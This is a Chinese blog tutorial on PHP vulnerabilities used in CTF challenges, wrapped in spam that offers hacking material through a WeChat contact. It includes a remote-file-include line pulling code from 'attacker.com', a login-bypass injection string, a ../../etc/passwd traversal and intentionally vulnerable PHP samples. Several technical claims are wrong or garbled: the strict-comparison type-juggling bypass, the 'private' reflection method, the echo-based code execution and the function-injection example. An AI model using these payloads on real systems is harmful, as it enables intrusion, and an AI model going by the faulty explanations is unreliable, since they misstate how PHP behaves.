ctf中常见php特性_php特性 ctf

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  1. 远程文件包含: 远程文件包含漏洞是指攻击者通过应用程序中的输入点,成功包含远程服务器上的文件,并在其中执行恶意代码。攻击者可以通过远程服务器上的恶意文件来执行任意代码,甚至获取完全的系统访问权限。
  2. 示例
<?php $file = $_GET['file']; include('http://attacker.com/' . $file . '.php'); ?>
 上述示例中,应用程序从URL参数中获取文件名并将其作为远程文件包含到代码中。攻击者可以将恶意文件放置在远程服务器上,并通过构造URL参数来执行其中的恶意代码。
7. 这种php特性常被用于上传和执行一句话木马,再通过蚁剑来连接方便找到flag
8. ## 二、SQL注入漏洞:允许攻击者通过恶意构造的SQL语句执行非授权的数据库操作。
9. SQL注入漏洞是一种常见的Web应用程序安全漏洞。它允许攻击者通过恶意构造的SQL语句执行非授权的数据库操作。攻击者可以利用这种漏洞获取敏感数据、修改数据、绕过身份验证等。
10. 示例
11. ```
<?php
  $username = $_POST['username'];
  $password = $_POST['password'];

  $sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
  $result = mysqli_query($conn, $sql);

  if (mysqli_num_rows($result) > 0) {
    // 用户登录成功
  } else {
    // 用户名或密码错误
  }
?>

上述示例中,应用程序在处理用户输入的用户名和密码时没有进行充分的验证和过滤。攻击者可以构造恶意的输入,例如在用户名字段中输入' 'OR '1'='1,从而修改SQL语句的逻辑**(**其中原代码在用户名字段中输入' 'OR '1'='1后相当于逻辑变为SELECT * FROM users WHERE username=’ ’ OR (‘1’=‘1’ AND password=‘$password’)**如果用户名为空,那么条件表达式为真。如果用户名不为空,那么会继续判断第二个条件。如果第二个条件的两个子条件都为真,那么条件表达式为真。如果第二个条件的两个子条件中有一个或两个都为假,那么条件表达式为假。)**输入的数据改变了代码判断逻辑,直接将输入的用户名插入代码中,在代码逻辑里判断变为了黑体字部分,绕过密码验证,获取所有用户的信息。
12. ## 三、文件上传漏洞:允许攻击者上传恶意文件,从而执行任意代码或访问敏感信息。
13. 文件上传漏洞是一种常见的Web应用程序安全漏洞。它允许攻击者上传恶意文件到服务器,从而执行任意代码或访问敏感信息。
14. 示例
15. ```

<?php if(isset($_FILES['file'])){ $targetDir = "uploads/"; $targetFile = $targetDir . basename($_FILES["file"]["name"]); if (move_uploaded_file($_FILES["file"]["tmp_name"], $targetFile)) { echo "文件上传成功"; } else { echo "文件上传失败"; } } ?>
 攻击者可以利用这个漏洞上传恶意文件,例如包含恶意代码的PHP文件。在能够上传文件的CTF题目中常见
16. ## 四、安全绕过:攻击者通过绕过安全机制或授权验证来执行未经授权的操作。
17. 安全绕过是一种攻击技术,攻击者通过绕过应用程序或系统的安全机制或授权验证,从而执行未经授权的操作。安全绕过漏洞可能导致恶意用户获取未授权的权限,绕过访问控制,访问敏感信息或执行未经授权的操作。
18. 假设有一个Web应用程序,要求用户在登录后才能访问某些受保护的页面。应用程序在用户登录时会验证用户名和密码,并在验证成功后将用户重定向到受保护的页面。

 然而,应用程序在登录验证中存在一个安全绕过漏洞。攻击者可能会发现,当用户登录后,应用程序在会话中设置了一个名为`isAdmin`的标记,用于标识用户是否具有管理员权限。管理员可以访问一些普通用户无法访问的特殊页面。

 攻击者可能会通过修改浏览器中的会话数据,将`isAdmin`标记设置为`true`,而不需要实际具备管理员权限。这样,即使攻击者不是管理员,他们仍然可以通过这个安全绕过漏洞来访问管理员页面。
19. 示例
20. ```
<?php
session_start();

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST["username"];
    $password = $_POST["password"];
    
    // 省略了实际的用户名和密码验证
    
    // 验证成功后设置会话数据
    $_SESSION["loggedIn"] = true;
    $_SESSION["isAdmin"] = false; // 默认为非管理员
    
    // 重定向到受保护的页面
    header("Location: protectedPage.php");
    exit;
}
?>

在这个例子中,攻击者可以通过修改会话中的isAdmin标记,将其设置为true来绕过管理员权限检查。这样,攻击者可以访问他们原本无权访问的特殊页面,绕过了应用程序的授权验证。
21. ## 五、远程代码执行:通过漏洞,攻击者可以执行远程恶意代码,控制服务器或执行其他未经授权的操作。
22. 远程代码执行是一种严重的安全漏洞,攻击者通过利用应用程序或系统中的漏洞,将恶意代码注入到远程服务器上,从而执行未经授权的操作。
23. ```

<?php $comment = $_POST['comment']; // 从用户输入获取评论内容 // 将评论存储到数据库 $conn = new mysqli('localhost', 'username', 'password', 'database'); $sql = "INSERT INTO comments (comment) VALUES ('$comment')"; $conn->query($sql); // 显示评论 echo $comment; ?>
 在这个例子中,如果攻击者将恶意的PHP代码作为评论提交,如`<?php phpinfo(); ?>`,它会被存储到数据库,并在评论显示时执行。这种远程代码执行漏洞可能导致攻击者获得应用程序的控制权,执行任意的系统命令,访问敏感数据等。
24. ## 六、PHP类型强制转换:通过利用PHP的弱类型特性,攻击者可以绕过输入验证,执行非预期的操作。
25. PHP类型强制转换是指通过利用PHP的弱类型特性,攻击者可以绕过输入验证,执行非预期的操作。PHP是一种弱类型语言,它允许在不明确指定变量类型的情况下执行操作,而是根据上下文自动进行类型转换。攻击者可以利用PHP类型强制转换漏洞来执行各种恶意操作,例如绕过输入验证、绕过访问控制、绕过身份验证、执行未经授权的操作等。
26. ```
<?php
$isAdmin = $_GET['isAdmin']; // 从URL参数获取isAdmin的值

// 验证用户是否具有管理员权限
if ($isAdmin === "1") {
    echo "您是管理员";
} else {
    echo "您不是管理员";
}
?>

在这个例子中,应用程序期望用户的isAdmin参数为字符串"1"才会认为用户是管理员。然而,攻击者将isAdmin参数设置为字符串"0e123",由于PHP的类型强制转换规则,这个字符串被解释为科学计数法的形式,而不是字符串。因此,0e123会被转换为浮点数0,绕过了管理员权限的验证。
27. ## 七、XSS漏洞:允许攻击者在网页中注入恶意脚本,攻击用户的浏览器。
28. XSS漏洞是一种常见的Web应用程序安全漏洞,允许攻击者在网页中注入恶意脚本,从而攻击用户的浏览器。

XSS漏洞通常发生在应用程序未正确验证和过滤用户输入的情况下。攻击者可以在受影响的应用程序中注入恶意脚本,当其他用户访问这些页面时,恶意脚本将在他们的浏览器中执行。
29. 存储型XSS:攻击者将恶意脚本存储在服务器上,当其他用户访问受影响的页面时,恶意脚本会从服务器加载并在用户的浏览器中执行。
30. 反射型XSS:攻击者将恶意脚本作为参数注入到受影响的URL中,当用户点击包含恶意脚本的URL时,恶意脚本会从URL中获取并在用户的浏览器中执行。
31. DOM-based XSS:攻击者利用客户端脚本动态修改页面的DOM结构,将恶意脚本插入到页面中,当其他用户访问受影响的页面时,恶意脚本会在他们的浏览器中执行。
32. ## 八、CSRF漏洞:允许攻击者伪造用户请求,执行未经授权的操作。
33. CSRF漏洞是一种Web应用程序安全漏洞,允许攻击者伪造用户请求,执行未经授权的操作。

CSRF漏洞通常发生在应用程序未能验证请求来源的情况下。攻击者可以通过诱使受害者访问包含恶意请求的页面,或通过其他方式欺骗受害者的浏览器发送恶意请求,来利用这个漏洞。
34. 以下是一个简单的示例来说明CSRF漏洞的概念:

假设有一个Web应用程序,允许用户通过一个表单来更改其电子邮件地址。应用程序在接收到用户提交的更改请求后,会将新的电子邮件地址存储到数据库中。

然而,应用程序在处理更改请求时,未验证请求的来源。攻击者可以诱使受害者访问一个包含恶意请求的网页。当受害者访问这个页面时,其中的恶意请求会自动发送给应用程序,导致受害者的电子邮件地址被更改为攻击者所指定的值。
35. ```

<?php $email = $_POST['email']; // 从用户输入获取电子邮件地址 // 将电子邮件地址保存到数据库 $conn = new mysqli('localhost', 'username', 'password', 'database'); $sql = "UPDATE users SET email='$email' WHERE id=1"; $conn->query($sql); // 显示成功消息 echo "电子邮件地址已更改为: " . $email; ?>
 在这个例子中,如果攻击者诱使受害者访问一个恶意网页,其中包含以下代码:

 
 当受害者点击"点击这里领取奖品"按钮时,浏览器会自动发送一个POST请求到`update_email.php`,导致受害者的电子邮件地址被更改为攻击者指定的值。
36. ## 九、PHP函数注入:允许攻击者通过构造恶意参数来调用指定的函数,从而执行非授权的操作。
37. PHP函数注入是一种安全漏洞,允许攻击者通过构造恶意参数来调用指定的函数,从而执行非授权的操作。

 PHP函数注入通常发生在应用程序未正确验证和过滤用户输入的情况下。攻击者可以通过在用户输入中注入恶意的函数调用,来执行意外的操作。

 以下是一个简单的示例来说明PHP函数注入的概念:

 假设有一个Web应用程序,允许用户通过一个表单搜索用户的姓名。应用程序将用户输入的姓名用作参数来调用`searchUser`函数,并返回与该姓名匹配的用户信息。

 然而,应用程序在调用`searchUser`函数时未对用户输入进行适当的验证和过滤。攻击者可以构造恶意的姓名,其中包含一个函数调用,如`searchUser('Alice'); phpinfo();`。当应用程序将该恶意输入传递给`searchUser`函数时,恶意的`phpinfo()`函数也会被执行,显示服务器的敏感信息。

 
<?php $name = $_GET['name']; // 从URL参数获取姓名 // 调用searchUser函数来搜索用户 function searchUser($name) { // 查询数据库并返回匹配的用户信息 echo "搜索结果: " . $name; } // 调用searchUser函数 searchUser($name); ?>
 在这个例子中,如果攻击者将`name`参数设置为恶意的值`Alice'); phpinfo(); searchUser('Alice`,那么恶意的`phpinfo()`函数会在`searchUser`函数执行时被调用,导致服务器的敏感信息被显示。
38. ## **十、变量覆盖:通过修改或篡改变量值,攻击者可以绕过访问控制或执行其他未经授权的操作。**
39. 变量覆盖是一种安全漏洞,攻击者通过修改或篡改变量的值,绕过访问控制或执行其他未经授权的操作。

 变量覆盖通常发生在应用程序未正确验证和保护变量的情况下。攻击者可以通过直接修改变量的值或通过构造恶意输入来篡改变量,从而改变应用程序的行为。

 以下是一个简单的示例来说明变量覆盖的概念:

 假设有一个Web应用程序,根据用户的权限显示不同的页面内容。应用程序根据用户的角色,将用户的权限存储在一个名为`role`的变量中,并根据该变量的值来确定用户应该看到的内容。

 然而,应用程序在处理`role`变量时存在一个变量覆盖漏洞。攻击者可以通过在URL参数中添加`?role=admin`来修改`role`变量的值,将其篡改为`admin`,从而绕过访问控制,以管理员权限查看敏感信息。

 
<?php $role = $_GET['role']; // 从URL参数获取角色 // 根据角色显示不同的页面内容 if ($role === "admin") { echo "您是管理员,可以查看敏感信息"; } else { echo "您是普通用户,无权查看敏感信息"; } ?>
 在这个例子中,如果攻击者将`role`参数设置为`admin`,应用程序将会根据恶意的变量值显示管理员权限的内容,即使攻击者没有管理员权限。
40. ## 十一、弱密码:使用弱密码或常见密码,攻击者可以轻松破解账户或访问敏感信息。
41. 弱密码是指使用弱密码或常见密码来保护账户或访问敏感信息的做法。弱密码容易被猜测、破解或通过暴力破解攻击等方式获取,从而使账户和信息处于风险之中。

 以下是一些常见的弱密码特征和问题:
42. 简单密码:使用简单的、易于猜测的密码,如常见的密码"123456"、"password"、"qwerty"等。
43. 单词或词典密码:使用常见的单词、词组或词典中的密码,这些密码容易被猜测或通过字典攻击进行破解。
44. 缺乏复杂性:密码缺乏复杂性,未包含足够的字符类型(如大写字母、小写字母、数字和特殊字符)或长度不足。
45. 与账户相关的密码:使用与账户相关的信息作为密码,如用户名、生日、电话号码等,这些信息容易被猜测或通过社交工程攻击获取。
46. 重复使用密码:在多个账户或服务中使用相同的密码,一旦其中一个账户被破解,其他账户也将面临风险。
47. ## 十二、加密和解密漏洞:通过破解或绕过加密算法,攻击者可以访问或篡改敏感数据。
48. 加密和解密漏洞是指在加密和解密过程中存在的安全漏洞,攻击者通过破解或绕过加密算法,从而获取、访问或篡改敏感数据。

 加密是将明文转换为密文的过程,以保护数据的机密性。解密是将密文转换回明文的过程,以恢复数据的可读性。加密和解密通常依赖于使用具有密钥的加密算法。

 以下是一些常见的加密和解密漏洞:
49. 弱加密算法:使用弱加密算法或不安全的加密算法可能容易被攻击者破解,从而导致数据泄露。例如,使用过时的加密算法(如DES)或使用容易破解的算法(如MD5)。
50. 密钥管理不当:不安全的密钥生成、存储和传输可能导致密钥被攻击者获取。如果攻击者获得了密钥,他们可以轻松解密加密的数据。
51. 侧信道攻击:通过分析加密过程中的侧信道信息,如时间延迟、电磁辐射等,攻击者可以推断出密钥或明文信息。
52. 密文注入:在加密数据时未进行适当的输入验证和过滤,导致攻击者能够在密文中注入恶意内容。
53. ## 十三、PHP伪协议
54. 以下是一些常见的PHP伪协议:
55. file://:用于访问本地文件系统中的文件。
56. ```
$fileContents = file_get_contents('file:///path/to/file.txt');

  1. http://和https://:用于通过HTTP协议访问网络资源。

$fileContents = file_get_contents(‘http://example.com/resource.php’);

59. ftp://:用于通过FTP协议访问远程FTP服务器。
60. ```
$fileContents = file_get_contents('ftp://example.com/file.txt');

  1. php://:用于访问PHP的输入、输出、错误流或内存缓冲区等特殊资源。

$fileContents = file_get_contents(‘php://input’);

63. data://:用于访问内嵌的数据或以Base64编码的数据。
64. ```
$fileContents = file_get_contents('data:text/plain;base64,SGVsbG8gd29ybGQ=');

需要注意的是,使用伪协议时需要格外谨慎,确保不会导致安全风险。攻击者可能利用伪协议来执行未经授权的操作或访问敏感信息。因此,在使用伪协议时,应该始终对输入进行验证和过滤,确保安全性。

以下是一个简单的示例代码,演示如何使用伪协议读取本地文件:

$filename = $_GET['filename']; // 从URL参数获取文件名

$fileContents = file_get_contents('file:///path/to/' . $filename);

echo $fileContents;

在这个例子中,如果攻击者将filename参数设置为恶意值../../../../etc/passwd,则可能会读取到系统的密码文件(passwd),造成安全问题。因此,在实际应用中,应对输入进行严格的验证和过滤,以防范潜在的攻击。
65. ## 十四、反射漏洞:通过反射机制,攻击者可以调用受限制的方法或获取敏感信息。

反射漏洞(是指通过利用编程语言中的反射机制,攻击者可以调用受限制的方法或获取敏感信息的安全漏洞。

反射是一种高级编程技术,允许在运行时检查和修改代码结构,以及动态调用方法和访问属性。然而,如果反射机制被不当使用或未正确保护,就可能导致安全漏洞。

以下是一个简短的示例代码,展示了一种可能的反射漏洞:

<?php
class User {
    private $name;
    private $email;

    public function __construct($name, $email) {
        $this->name = $name;
        $this->email = $email;
    }

    public function getInfo() {
        return "Name: " . $this->name . ", Email: " . $this->email;
    }
}

$user = new User("Alice", "alice@example.com");

$method = $_GET['method']; // 从URL参数获取方法名

// 使用反射调用用户指定的方法
$reflection = new ReflectionClass('User');
$object = $reflection->newInstanceArgs(["", ""]);

if ($reflection->hasMethod($method)) {
    $method = $reflection->getMethod($method);
    $method->setAccessible(true);
    $result = $method->invoke($object);
    echo $result;
} else {
    echo "方法不存在";
}
?>

在这个例子中,通过ReflectionClass类和ReflectionMethod类,我们可以在运行时动态地调用User类的方法。然而,如果攻击者将method参数设置为getInfo,就可以绕过正常的访问控制,调用私有方法getInfo,从而获取用户的敏感信息。
66. ## 十五、数组引用传递:在PHP中,数组默认以值传递的方式传递给函数。但是,如果使用引用传递数组参数,在函数内部修改数组可能会影响原始数据。
67. 示例:

function modifyArray(&$array) {
    $array[0] = 'modified';
}

$myArray = ['original', 'data'];
modifyArray($myArray);
print_r($myArray);

输出结果:

Array
(
    [0] => modified
    [1] => data
)

在示例中,通过将数组参数标记为引用传递(&$array),在函数内部修改数组的第一个元素,会影响到原始数组。
68. ## 十六、变量变量嵌套:PHP允许使用变量作为变量名,但深度嵌套的变量变量可能会导致代码的可读性和维护性下降。
69. 示例:

$name = 'variable';
$$name = 'nested';

echo $variable;

输出结果:

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值